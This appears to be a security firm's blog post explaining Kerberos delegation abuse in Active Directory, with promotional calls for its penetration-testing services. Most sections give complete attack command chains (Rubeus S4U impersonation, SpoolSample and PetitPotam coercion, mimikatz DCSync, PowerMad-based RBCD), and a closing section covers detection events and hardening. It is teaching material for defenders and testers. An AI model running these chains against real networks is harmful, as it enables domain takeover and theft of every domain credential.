Kerberos Delegation is one of the most powerful and most abused features in Active Directory environments. When misconfigured, it hands attackers a direct path to domain compromise, often without triggering a single alert. Understanding how delegation works, how it breaks, and how adversaries weaponize it is essential knowledge for any red teamer, blue teamer, or security architect.
This blog walks through the three types of Kerberos Delegation, the mechanics behind each attack, and the exact tooling used by professional penetration testers to simulate real adversary behavior.
If you want to know whether your Active Directory is exposed to these attack paths, Redfox Cybersecurity's penetration testing services can give you a definitive answer before a threat actor does.
What Is Kerberos Delegation and Why Does It Matter
Kerberos Delegation was designed to solve a simple problem: when a user authenticates to a front-end service (like a web application), that service sometimes needs to access a back-end resource (like a database) on the user's behalf. Delegation allows the front-end service to impersonate the user and forward their credentials downstream.
The problem is that this impersonation capability, when misconfigured or left unchecked, is exactly what attackers look for.
There are three forms of delegation in Active Directory environments:
Unconstrained Delegation allows a service to impersonate any user to any service.Constrained Delegation restricts impersonation to specific services.Resource-Based Constrained Delegation (RBCD) gives the target resource control over which accounts can delegate to it.
Each has a distinct attack surface, and each is actively exploited in red team operations.
Attacking Unconstrained Delegation
How Unconstrained Delegation Works
When a user authenticates to a service configured with Unconstrained Delegation, the Domain Controller includes the user's Ticket Granting Ticket (TGT) inside the service ticket. The service then caches that TGT in memory. An attacker who compromises that service account or the machine it runs on can extract every cached TGT and reuse them.
This is a catastrophic misconfiguration. If a Domain Admin authenticates to a machine with Unconstrained Delegation enabled, the attacker now holds a Domain Admin TGT.
Enumerating Unconstrained Delegation with PowerView
# Find computers with Unconstrained Delegation enabled
Get-DomainComputer -Unconstrained | Select-Object dnshostname, useraccountcontrol
# Find user accounts with Unconstrained Delegation
Get-DomainUser -AllowDelegation | Select-Object samaccountname, useraccountcontrol
Forcing Authentication with the Printer Bug (SpoolSample)
The Printer Bug is a classic coercion technique. It forces a target machine to authenticate back to an attacker-controlled host by abusing the MS-RPRN protocol.
# Run SpoolSample to coerce authentication from a DC to your compromised machine
SpoolSample.exe <TargetDC> <AttackerMachine>
# On the attacker machine running Unconstrained Delegation, monitor for incoming TGTs
Rubeus.exe monitor /interval:5 /nowrap
Once the Domain Controller authenticates to the compromised machine, its TGT lands in memory. Extract and use it immediately.
# Export and inject the captured DC TGT
Rubeus.exe ptt /ticket:<base64_ticket>
# Perform a DCSync to dump all domain credentials
mimikatz # lsadump::dcsync /domain:corp.local /all /csv
Coercion with PetitPotam
PetitPotam is a newer coercion technique that abuses the MS-EFSRPC protocol and does not require any credentials in some configurations.
# Trigger authentication from DC to attacker machine
python3 PetitPotam.py -u lowpriv_user -p Password123 <AttackerIP> <TargetDC>
Pair this with Unconstrained Delegation and Rubeus monitoring and you have a straightforward path to domain compromise.
Coercion and Unconstrained Delegation attacks are consistently found in enterprise environments by our team at Redfox Cybersecurity. Many organizations have no idea these misconfigurations exist until a pentest surfaces them.
Attacking Constrained Delegation
How Constrained Delegation Works
Constrained Delegation limits which services a service account can impersonate users toward. It is configured via the msDS-AllowedToDelegateTo attribute. There are two flavors:
TGT-only (Kerberos-only): Uses S4U2Proxy, requires a valid service ticket for the user.Protocol Transition (Any Auth): Uses S4U2Self to obtain a service ticket for any user, then forwards it with S4U2Proxy. This is the dangerous one.
When Protocol Transition is enabled, the service account can impersonate any user, including Domain Admins, to the configured services.
Enumerating Constrained Delegation
# Find accounts with Constrained Delegation configured
Get-DomainUser -TrustedToAuth | Select-Object samaccountname, msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | Select-Object dnshostname, msds-allowedtodelegateto
Exploiting Constrained Delegation with Rubeus
If you have compromised an account with Protocol Transition enabled, use S4U abuse to get a service ticket as a Domain Admin to the target service.
# Request a TGT for the compromised service account
Rubeus.exe asktgt /user:svc_webserver /password:ServicePass1 /domain:corp.local /nowrap
# Perform S4U2Self + S4U2Proxy to impersonate Administrator to CIFS on DC
Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:Administrator /msdsspn:"cifs/dc01.corp.local" /nowrap
# Pass the resulting ticket to access the target
Rubeus.exe ptt /ticket:<s4u_ticket>
# List DC file system
ls \\dc01.corp.local\C$
Abusing Alternate Service Names
Kerberos does not validate the service name (SPN) on the returned ticket during S4U abuse. This means you can request a ticket for CIFS but present it to HOST, LDAP, or any other service class on the same machine.
# Request ticket for LDAP on the DC using the same S4U chain
Rubeus.exe s4u /ticket:<base64_tgt> /impersonateuser:Administrator /msdsspn:"cifs/dc01.corp.local" /altservice:"ldap/dc01.corp.local" /nowrap
This technique is commonly used to perform DCSync after obtaining an LDAP ticket for the Domain Controller.
Attacking Resource-Based Constrained Delegation (RBCD)
How RBCD Works
Resource-Based Constrained Delegation flips the model. Instead of configuring delegation on the service account, the target resource computer account controls which accounts are allowed to delegate to it. This is stored in the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on the target computer object.
If an attacker can write to this attribute on a computer object, they can configure arbitrary accounts to delegate to it and then impersonate any user, including Domain Admins, to that computer.
Conditions Required for RBCD Attack
The attacker needs:
- Write permissions over a computer object's
msDS-AllowedToActOnBehalfOfOtherIdentity attribute (GenericWrite, GenericAll, WriteProperty, or WriteDACL). - Control over an account with an SPN, or the ability to create a new machine account (by default, domain users can create up to 10 machine accounts, controlled by the
MachineAccountQuota attribute).
Enumerating RBCD Attack Paths with BloodHound
# Run SharpHound to collect all AD data
.\SharpHound.exe -c All --outputdirectory C:\Temp\
# In BloodHound, run this Cypher query to find GenericWrite over computers
MATCH p=(n)-[:GenericWrite]->(m:Computer) RETURN p
Executing the RBCD Attack Chain
# Step 1: Create a new machine account using PowerMad
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount FakeComputer -Password (ConvertTo-SecureString "FakePass123!" -AsPlainText -Force)
# Step 2: Get the SID of the newly created machine account
Get-DomainComputer FakeComputer | Select-Object objectsid
# Step 3: Write the msDS-AllowedToActOnBehalfOfOtherIdentity attribute on target
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;<FakeComputer_SID>)"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
# Step 4: Use Rubeus to perform S4U abuse
Rubeus.exe hash /password:FakePass123! /user:FakeComputer$ /domain:corp.local
Rubeus.exe s4u /user:FakeComputer$ /rc4:<NTLM_hash> /impersonateuser:Administrator /msdsspn:"cifs/targetcomputer.corp.local" /nowrap
# Step 5: Pass the ticket
Rubeus.exe ptt /ticket:<s4u_ticket>
ls \\targetcomputer.corp.local\C$
This attack chain is elegant because it requires no elevated privileges to execute, only a misconfigured ACL. Redfox Cybersecurity regularly identifies these ACL misconfigurations during Active Directory security assessments and can help your organization remediate them before they are weaponized.
Cross-Domain and Forest Trust Delegation Abuse
Delegation abuse does not stop at domain boundaries. In forest trust scenarios, Unconstrained Delegation on a machine in a child domain can be used to coerce authentication from the parent domain's Domain Controller, potentially yielding cross-domain TGTs.
# Enumerate trust relationships
Get-DomainTrust | Select-Object SourceName, TargetName, TrustDirection, TrustType
# Enumerate inter-forest delegations
Get-DomainComputer -Domain parent.corp.local -Unconstrained
Forest trusts marked as not-transitive offer some protection, but selective authentication misconfigurations can still create exploitable paths.
Detection and Defensive Considerations
Understanding attack mechanics is only one side of the equation. Defenders and detection engineers should monitor for:
Event ID 4768 (TGT Requested) and 4769 (Service Ticket Requested) for unusual patterns, particularly service account requests for high-value targets.
Event ID 4742 and 4738: Machine account and user account attribute modifications. Any write to msDS-AllowedToActOnBehalfOfOtherIdentity outside a change window is a high-fidelity indicator of RBCD staging.
Unusual LDAP writes to delegation-related attributes should be alerted on by any mature SIEM deployment.
From a hardening standpoint:
- Mark all privileged accounts (Domain Admins, Enterprise Admins) as Account is sensitive and cannot be delegated in Active Directory.
- Audit all accounts with Unconstrained Delegation and remove it where not operationally required.
- Enforce Protected Users security group membership for all tier-0 accounts.
- Reduce
MachineAccountQuota to 0 for standard users and provision machine accounts through controlled processes.
Why Kerberos Delegation Remains Dangerous in 2025
Despite being well-documented for years, Kerberos Delegation misconfigurations remain endemic across enterprise Active Directory environments. Legacy service accounts, inherited group policies, third-party application requirements, and a general lack of AD hygiene mean that most large organizations are carrying multiple exploitable delegation paths right now.
The attacks described in this post require no zero-days. They use Kerberos as designed. That is exactly what makes them so dangerous and so reliably effective in real red team operations.
Wrapping Up: Is Your Active Directory Delegation Secure
Kerberos Delegation attacks represent some of the most impactful lateral movement and privilege escalation techniques available to adversaries targeting Windows environments. From coercing DC authentication over Unconstrained Delegation to staging silent RBCD attacks via ACL misconfigurations, the attack surface is wide and often invisible to unprepared defenders.
The only reliable way to know whether your environment is exposed is through rigorous, hands-on testing by professionals who think like attackers.
Redfox Cybersecurity offers comprehensive penetration testing services covering Active Directory attack paths, including full Kerberos Delegation abuse chains, BloodHound-assisted privilege escalation, and detailed remediation guidance. Our red team assessments are built around the same techniques documented in this post, but taken further through your full environment.
If you are serious about securing your Active Directory before a real attacker finds what your tools have missed, reach out to Redfox Cybersecurity today and get a clear picture of your actual exposure.